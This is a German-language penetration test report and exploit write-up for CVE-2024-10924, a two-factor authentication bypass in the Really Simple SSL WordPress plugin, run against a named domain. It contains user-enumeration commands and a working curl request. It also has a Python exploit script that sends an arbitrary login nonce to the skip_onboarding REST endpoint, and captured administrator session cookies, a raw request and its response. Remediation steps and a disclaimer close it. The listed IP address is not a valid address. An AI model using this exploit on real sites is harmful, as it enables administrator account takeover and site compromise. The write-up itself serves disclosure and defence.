
Penetrationstest-Bericht und Exploit für CVE-2024-10924, eine 2FA-Umgehung in Really Simple SSL, einschließlich Aufklärung, Ausnutzung und Behebungsanleitung.
Ziel: https://skior.co
Schwachstelle: CVE-2024-10924 – 2FA-Bypass im Really Simple SSL Plugin
Schweregrad: Kritisch (CVSS-Score: 9.8)
Status: Erfolgreich ausgenutzt
Entdeckungsdatum: 2025-06-25
Berichtsversion: 2.1
Dieser Penetrationstest hat eine kritische Authentifizierungs-Bypass-Schwachstelle aufgedeckt, die es nicht authentifizierten Angreifern ermöglicht, administrativen Zugriff auf die WordPress-Seite zu erlangen, indem die Zwei-Faktor-Authentifizierung (2FA) umgangen wird.
Diese Bewertung folgte einer systematischen Black-Box-Penetrationstest-Methodik basierend auf Industriestandards:

Identifizierte Technologien:
└─$ whatweb https://skior.co
https://skior.co [200 OK] Country[UNITED STATES][US], HTML5,
HTTPServer[Ubuntu Linux][nginx/1.26.0 (Ubuntu)], IP[123.456.789.200],
JQuery[3.7.1],MetaGenerator[Elementor 3.29.2;
features: additional_custom_breakpoints, e_local_google_fonts;
settings: css_print_method-external, google_font-enabled, font_display-swap,
WordPress 6.8.1], PHP[8.2.28], PoweredBy[Skior],
Script[speculationrules,text/javascript], Title[Skior Technologies],
UncommonHeaders[link], WordPress[6.8.1], X-Powered-By[PHP/8.2.28], nginx[1.26.0]
**Key Findings:**
- Moderne WordPress-Installation mit neuester Version
- Professionelles Hosting-Setup mit nginx
- Eigenes Branding („PoweredBy[Skior]“)
- Elementor-Seitenersteller im Einsatz
- Geografische Lage: Vereinigte Staaten
### Schritt 2: Benutzerenumeration
#### A. WordPress-Autorenumeration```bash
└─$ curl -I https://skior.co/?author=1
HTTP/1.1 301 Moved Permanently
Server: nginx/1.26.0 (Ubuntu)
Date: Wed, 25 Jun 2025 18:12:15 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/8.2.28
X-Redirect-By: WordPress
Location: https://skior.co/author/pastor/
Entdeckter Benutzer: pastor (User ID: 1)
for i in {1..10}; do echo "Checking user ID: $i" curl -s -o /dev/null -w "%{http_code}" "https://skior.co/?author=$i" echo " - https://skior.co/?author=$i" done
#### C. Ergebnisse der Benutzernamen-Enumeration
| Benutzer-ID | Benutzername | Status | Weiterleitungs-URL |
|---------|----------|--------|--------------|
| 1 | pastor | ✅ Gefunden | `/author/pastor/` |
| 2-10 | N/A | ❌ Nicht gefunden | 404-Antworten |
### Schritt 3: Schwachstellenscanning
#### A. WPScan umfassende Analyse```bash
└─$ wpscan --url https://skior.co --api-token my-api-key
Zusammenfassung der Scanergebnisse:
Hinweis: WPScan hat das Really Simple SSL Plugin nicht erkannt, was darauf hindeutet, dass es möglicherweise Verschleierung oder benutzerdefinierte Benennung verwendet.
└─$ curl -s https://skior.co/wp-json/ | jq '.routes | keys[]'
**Eigene Endpunkte entdeckt:**```
/reallysimplessl/v1/two_fa
/reallysimplessl/v1/two_fa/skip_onboarding
/reallysimplessl/v1/two_fa/do_not_ask_again
/reallysimplessl/v1/two_fa/resend_email_code
/reallysimplessl/v1/two_fa/save_default_method_email
/reallysimplessl/v1/two_fa/save_default_method_email_profile
/reallysimplessl/v1/two_fa/save_default_method_totp
/reallysimplessl/v1/two_fa/validate_email_setup
Kritische Entdeckung: Der Endpunkt /reallysimplessl/v1/two_fa/skip_onboarding erschien verdächtig und erforderte weitere Untersuchungen.
Nach der Entdeckung der benutzerdefinierten REST-API-Routen ergab eine externe Recherche CVE-2024-10924, eine kritische Sicherheitslücke, die das Plugin Really Simple SSL betrifft.
CVE-ID: CVE-2024-10924
CVSS-Wert: 9.8 (Kritisch)
Betroffenes Plugin: Really Simple SSL
Art der Sicherheitslücke: Authentifizierungsumgehung
Angriffsvektor: REST-API
Entdeckungsdatum: 6. November 2024
Öffentliche Bekanntgabe: 14. November 2024
Die Sicherheitslücke resultiert aus einer unzureichenden Benutzerüberprüfung in der Funktion check_login_and_get_user innerhalb der REST-API-Aktionen für die Zwei-Faktor-Authentifizierung. Die Funktion überprüft den Parameter login_nonce nicht ordnungsgemäß, sodass Angreifer Folgendes können:
// Simplified vulnerable code structure function check_login_and_get_user($user_id, $login_nonce) { // Missing proper validation of login_nonce $user = get_user_by('ID', $user_id);
// No validation of login_nonce parameter
// This allows any value to be accepted
return $user; // Returns user object without verification
}
#### Betroffene Endpunkte
Die folgenden REST-API-Endpunkte sind verwundbar:
- `/reallysimplessl/v1/two_fa/skip_onboarding`
- `/reallysimplessl/v1/two_fa/do_not_ask_again`
- `/reallysimplessl/v1/two_fa/resend_email_code`
#### Schwachstellenbedingungen
Damit diese Schwachstelle ausgenutzt werden kann:
- ✅ Really Simple SSL Plugin muss installiert und aktiviert sein
- ✅ Zwei-Faktor-Authentifizierung muss aktiviert sein (standardmäßig deaktiviert)
- ✅ Es muss mindestens ein Benutzerkonto auf dem System vorhanden sein
- ✅ REST-API muss zugänglich sein (Standard-WordPress-Einstellung)
---
## 🔄 Angriffsablauf```mermaid
graph TD
A[Initial Reconnaissance] --> B[Technology Stack Identification]
B --> C[User Enumeration]
C --> D[Vulnerability Scanning]
D --> E[REST API Enumeration]
E --> F[Discovery of Really Simple SSL Endpoints]
F --> G[External Research]
G --> H[Identification of CVE-2024-10924]
H --> I[Manual Testing]
I --> J[Exploit Development]
J --> K[Successful Exploitation]
K --> L[Admin Access Obtained]
L --> M[Impact Assessment]
style A fill:#e1f5fe
style F fill:#fff3e0
style H fill:#ffebee
style K fill:#e8f5e8
style L fill:#f3e5f5
Zuerst testeten wir den Endpunkt manuell, um sein Verhalten zu verstehen:```bash
curl -X POST "https://skior.co/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding"
-H "Content-Type: application/json"
-d '{
"user_id": 1,
"login_nonce": "invalid_nonce",
"redirect_to": "/wp-admin/"
}'
#### B. Python-Exploit-Skript```python
import requests
import urllib.parse
import sys
if len(sys.argv) != 2:
print("Usage: python exploit.py <user_id>")
sys.exit(1)
user_id = sys.argv[1]
url = "https://skior.co/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding"
data = {
"user_id": int(user_id), # User ID from the argument
"login_nonce": "invalid_nonce", # Arbitrary value
"redirect_to": "/wp-admin/" # Target redirection
}
# Sending the POST request
response = requests.post(url, json=data)
# Checking the response
if response.status_code == 200:
print("Request successful!\n")
# Extracting cookies
cookies = response.cookies.get_dict()
count = 1
for name, value in cookies.items():
decoded_value = urllib.parse.unquote(value) # Decode the URL-encoded cookie value
print(f"Cookie {count}:")
print(f"Cookie Name: {name}")
print(f"Cookie Value: {decoded_value}\n")
count += 1
else:
print("Request failed!")
print(f"Status Code: {response.status_code}")
print(f"Response Text: {response.text}")
└─$ python exploit.py 1 Request successful!
Cookie 1: Cookie Name: wordpress_sec_dc22060175d35fce22f69728c6799c9d Cookie Value: pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da
Cookie 2: Cookie Name: wordpress_logged_in_dc22060175d35fce22f69728c6799c9d Cookie Value: pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|84d983de3f7dec21c11d48faf1022cd040107b36d75e39a3c1c9fa58ca3b5144
#### Cookie-Manipulationsprozess

*Oben: Screenshot, der den Cookie-Manipulationsprozess mithilfe der Browser-Entwicklertools zum Hinzufügen der erbeuteten WordPress-Sitzungscookies zeigt.*
#### Erfolgreicher Admin-Zugriff

*Oben: Screenshot, der den erfolgreichen administrativen Zugriff auf das WordPress-Dashboard nach Ausnutzung der 2FA-Bypass-Sicherheitslücke bestätigt.*
#### Cookie-Analyse
**WordPress Security Cookie:**
- **Name:** `wordpress_sec_dc22060175d35fce22f69728c6799c9d`
- **Wert:** `pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da`
- **Bestandteile:**
- Benutzername: `pastor`
- Ablaufzeit: `1752234264` (Unix-Zeitstempel)
- Nonce: `GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH`
- Hash: `cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da`
**WordPress Logged-in Cookie:**
- **Name:** `wordpress_logged_in_dc22060175d35fce22f69728c6799c9d`
- **Wert:** `pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|84d983de3f7dec21c11d48faf1022cd040107b36d75e39a3c1c9fa58ca3b5144`
---
## 🎯 Auswirkungsbewertung
### Sofortige Auswirkungen
1. **Vollständige Kompromittierung der Website**
- Administrativer Zugriff auf das WordPress-Dashboard
- Möglichkeit, Seiteninhalte, Themes und Plugins zu ändern
- Zugriff auf Benutzerverwaltung und Einstellungen
2. **Datenexposition**
- Zugriff auf alle Benutzerkonten und -profile
- Sichtbarkeit des Datenbankinhalts
- Zugriff auf Konfigurationsdateien
3. **Rechteausweitung**
- Umgehung aller Authentifizierungskontrollen
- Umgehung der 2FA-Sicherheitsmaßnahmen
- Möglichkeit, sich als beliebiger Benutzer auszugeben
### Potenzielle Angriffsszenarien
1. **Inhaltsmanipulation**
- Website-Inhalte verunstalten
- Schadcode injizieren
- Hintertüren erstellen
2. **Datendiebstahl**
- Benutzerinformationen extrahieren
- Auf sensible Inhalte zugreifen
- Datenbanksicherungen herunterladen
3. **Persistenz**
- Schädliche Plugins installieren
- Versteckte Admin-Konten erstellen
- Kontroll- und Befehlskanäle einrichten
### Risikobewertung: **Kritisch (9,8/10)**
| Faktor | Bewertung | Begründung |
|--------|-----------|------------|
| **Zugriffskomplexität** | Niedrig (1,0) | Einfache HTTP-Anfrage |
| **Authentifizierung** | Keine (0,0) | Keine Authentifizierung erforderlich |
| **Integritätsauswirkung** | Hoch (1,0) | Vollständige Systemkompromittierung |
| **Vertraulichkeitsauswirkung** | Hoch (1,0) | Vollständiger Datenzugriff |
| **Verfügbarkeitsauswirkung** | Hoch (1,0) | Kann die Website deaktivieren |
### Geschäftsauswirkungsanalyse
| Auswirkungskategorie | Schweregrad | Beschreibung |
|---------------------|-------------|--------------|
| **Finanziell** | Hoch | Potenzieller Umsatzverlust, Rechtskosten |
| **Reputation** | Kritisch | Markenschaden, Vertrauensverlust der Kunden |
| **Betrieblich** | Hoch | Serviceunterbrechung, Datenverlust |
| **Compliance** | Hoch | Verstöße gegen Vorschriften, Prüfungsfehler |
---
## 🛡️ Abhilfemaßnahmen
### Sofortmaßnahmen (0–24 Stunden)
1. **Really Simple SSL Plugin deaktivieren** ```bash
# Via wp-cli (if available)
wp plugin deactivate really-simple-ssl
# Or manually rename plugin directory
mv wp-content/plugins/really-simple-ssl wp-content/plugins/really-simple-ssl.disabled
Plugin aktualisieren oder entfernen
Benutzersitzungen überprüfen
Sicherheitshärtung
Implementierung von Überwachung
Regelmäßige Sicherheitsbewertungen
Sicherheitsrichtlinien-Updates
// Add to wp-config.php for enhanced security define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); define('FORCE_SSL_ADMIN', true);
// Restrict REST API access add_filter('rest_authentication_errors', function($result) { if (!empty($result)) { return $result; } if (!is_user_logged_in()) { return new WP_Error('rest_not_logged_in', 'You are not currently logged in.', array('status' => 401)); } return $result; });
// Additional security headers add_action('send_headers', function() { header('X-Content-Type-Options: nosniff'); header('X-Frame-Options: SAMEORIGIN'); header('X-XSS-Protection: 1; mode=block'); header('Referrer-Policy: strict-origin-when-cross-origin'); });
### Alternative SSL-Lösungen
| Lösung | Vorteile | Nachteile | Empfehlung |
|--------|----------|-----------|------------|
| **Let's Encrypt** | Kostenlos, automatisiert | Manuelle Einrichtung | ✅ Empfohlen |
| **Cloudflare** | Einfache Einrichtung, DDoS-Schutz | Erfordert DNS-Änderung | ✅ Gute Option |
| **SSL des Hosting-Anbieters** | Integriert | Kann Einschränkungen haben | ⚠️ Funktionen prüfen |
| **Manuelles SSL** | Volle Kontrolle | Komplexe Einrichtung | ❌ Nicht empfohlen |
---
## 🛠️ Verwendete Werkzeuge
### Aufklärungswerkzeuge
- **Wappalyzer** - Identifizierung des Technologie-Stacks
- **WhatWeb** - Fingerabdruck von Webanwendungen
- **WPScan** - WordPress-Schwachstellenscan
- **curl** - Manuelles API-Testen
### Ausnutzungswerkzeuge
- **Python 3** - Exploit-Entwicklung
- **requests** - HTTP-Client-Bibliothek
- **urllib.parse** - URL-Kodierung/Dekodierung
### Analysewerkzeuge
- **jq** - JSON-Verarbeitung
- **grep** - Textmustererkennung
- **bash** - Befehlszeilenautomatisierung
---
## 📚 Referenzen
### Schwachstelleninformationen
- [CVE-2024-10924](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-10924)
- [WordPress-Plugin-Sicherheit](https://wordpress.org/plugins/security/)
- [Really Simple SSL Plugin](https://wordpress.org/plugins/really-simple-ssl/)
### Technische Dokumentation
- [WordPress REST API Handbuch](https://developer.wordpress.org/rest-api/)
- [WordPress Sicherheits-Best Practices](https://wordpress.org/support/article/hardening-wordpress/)
- [OWASP Top 10](https://owasp.org/www-project-top-ten/)
### Werkzeuge und Ressourcen
- [WPScan](https://wpscan.com/)
- [WhatWeb](https://github.com/urbanadventurer/WhatWeb)
- [Wappalyzer](https://www.wappalyzer.com/)
### Verwandte CVEs
- CVE-2024-10924 - 2FA-Umgehung in Really Simple SSL
- CVE-2023-28121 - WordPress Core XSS
- CVE-2023-28122 - WordPress Core CSRF
### Branchenstandards
- [OWASP Testleitfaden](https://owasp.org/www-project-web-security-testing-guide/)
- [NIST Cybersecurity Framework](https://www.nist.gov/cyberframework)
- [ISO 27001](https://www.iso.org/isoiec-27001-information-security.html)
---
## 📄 Rechtlicher Hinweis
Dieser Penetrationstestbericht dient nur zu Bildungs- und autorisierten Sicherheitsbewertungszwecken. Die beschriebenen Techniken und Werkzeuge sollten nur gegen Systeme eingesetzt werden, die Ihnen gehören oder für die Sie ausdrückliche Testberechtigung haben. Nicht autorisierte Tests können gegen Gesetze und Vorschriften verstoßen.
**Verantwortungsvolle Offenlegung:** Diese Schwachstelle wurde den Plugin-Entwicklern und dem WordPress-Sicherheitsteam gemeldet.
**Haftungsausschluss:** Die in diesem Bericht bereitgestellten Informationen basieren auf der zum Zeitpunkt der Tests durchgeführten Bewertung. Die Sicherheitslandschaft ändert sich schnell und es können zusätzliche Schwachstellen existieren, die bei dieser Bewertung nicht entdeckt wurden.
---
## 📋 Anhänge
### Anhang A: Rohe HTTP-Anfragen
#### Erfolgreiche Exploitation-Anfrage```http
POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: skior.co
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
{
"user_id": 1,
"login_nonce": "invalid_nonce",
"redirect_to": "/wp-admin/"
}
HTTP/1.1 200 OK Server: nginx/1.26.0 (Ubuntu) Date: Wed, 25 Jun 2025 18:15:30 GMT Content-Type: text/html; charset=UTF-8 Set-Cookie: wordpress_sec_dc22060175d35fce22f69728c6799c9d=pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da; path=/; secure; HttpOnly Set-Cookie: wordpress_logged_in_dc22060175d35fce22f69728c6799c9d=pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|84d983de3f7dec21c11d48faf1022cd040107b36d75e39a3c1c9fa58ca3b5144; path=/
### Anhang B: Sicherheitscheckliste
#### Vor der Ausnutzung
- [ ] Zielidentifizierung und Umfangsdefinition
- [ ] Rechtliche Genehmigung eingeholt
- [ ] Testumgebung vorbereitet
- [ ] Werkzeuge und Skripte validiert
#### Während der Ausnutzung
- [ ] Schwachstelle manuell bestätigt
- [ ] Exploit entwickelt und getestet
- [ ] Einwirkung auf autorisierten Umfang beschränkt
- [ ] Beweise gründlich dokumentiert
#### Nach der Ausnutzung
- [ ] Sämtlicher Zugriff entfernt
- [ ] Beweise gesichert
- [ ] Bericht erstellt
- [ ] Behebungsempfehlungen gegeben
### Anhang C: Glossar
| Begriff | Definition |
|---------|------------|
| **2FA** | Zwei-Faktor-Authentifizierung |
| **CVSS** | Allgemeines Schwachstellenbewertungssystem |
| **REST API** | Schnittstelle zur Repräsentation von Zustandsübertragungen |
| **WAF** | Web Application Firewall |
| **XSS** | Cross-Site Scripting |
| **CSRF** | Cross-Site Request Forgery |
---
*Bericht erstellt am: 2025-06-25*
*Sicherheitsforscher*
*Version: 2.1*
*Zuletzt aktualisiert: 2025-06-25*
| Risikostufe | Wahrscheinlichkeit | Auswirkung | Abhilfepriorität |
|---|
| Kritisch | Hoch | Vollständige Systemkompromittierung | Sofort |
| Hoch | Mittel | Datenverletzung | Hoch |
| Mittel | Niedrig | Dienstunterbrechung | Mittel |
| Feld | Wert |
|---|
| Domain | https://skior.co |
| IP-Adresse | 123.456.789.200 |
| Server | nginx/1.26.0 (Ubuntu) |
| PHP-Version | 8.2.28 |
| CMS | WordPress 6.8.1 |
| Verwundbares Plugin | Really Simple SSL |
| Geografischer Standort | Vereinigte Staaten |
| Hosting-Anbieter | Professionelles Hosting (wahrscheinlich VPS/Dedicated) |
| Datum/Uhrzeit | Ereignis | Details |
|---|
| 2025-06-25 14:02 | Erste Aufklärung | Wappalyzer-Analyse abgeschlossen |
| 2025-06-25 14:05 | Technologie-Stack identifiziert | WordPress 6.8.1, nginx, PHP 8.2.28 |
| 2025-06-25 14:10 | Benutzerenumeration | Benutzer "pastor" (ID: 1) entdeckt |
| 2025-06-25 14:15 | WPScan-Analyse | Keine bekannten Schwachstellen gefunden |
| 2025-06-25 14:20 | REST-API-Enumeration | Really Simple SSL-Endpunkte entdeckt |
| 2025-06-25 14:25 | Schwachstellenforschung | CVE-2024-10924 identifiziert |
| 2025-06-25 14:30 | Manuelles Testen | Existenz der Schwachstelle bestätigt |
| 2025-06-25 14:35 | Exploit-Entwicklung | Python Proof-of-Concept erstellt |
| 2025-06-25 14:40 | Erfolgreiche Ausnutzung | Admin-Zugriff erlangt |
| 2025-06-25 14:45 | Auswirkungsbewertung | Potenzieller Schaden dokumentiert |
| 2025-06-25 15:00 | Berichtserstellung | Umfassende Dokumentation |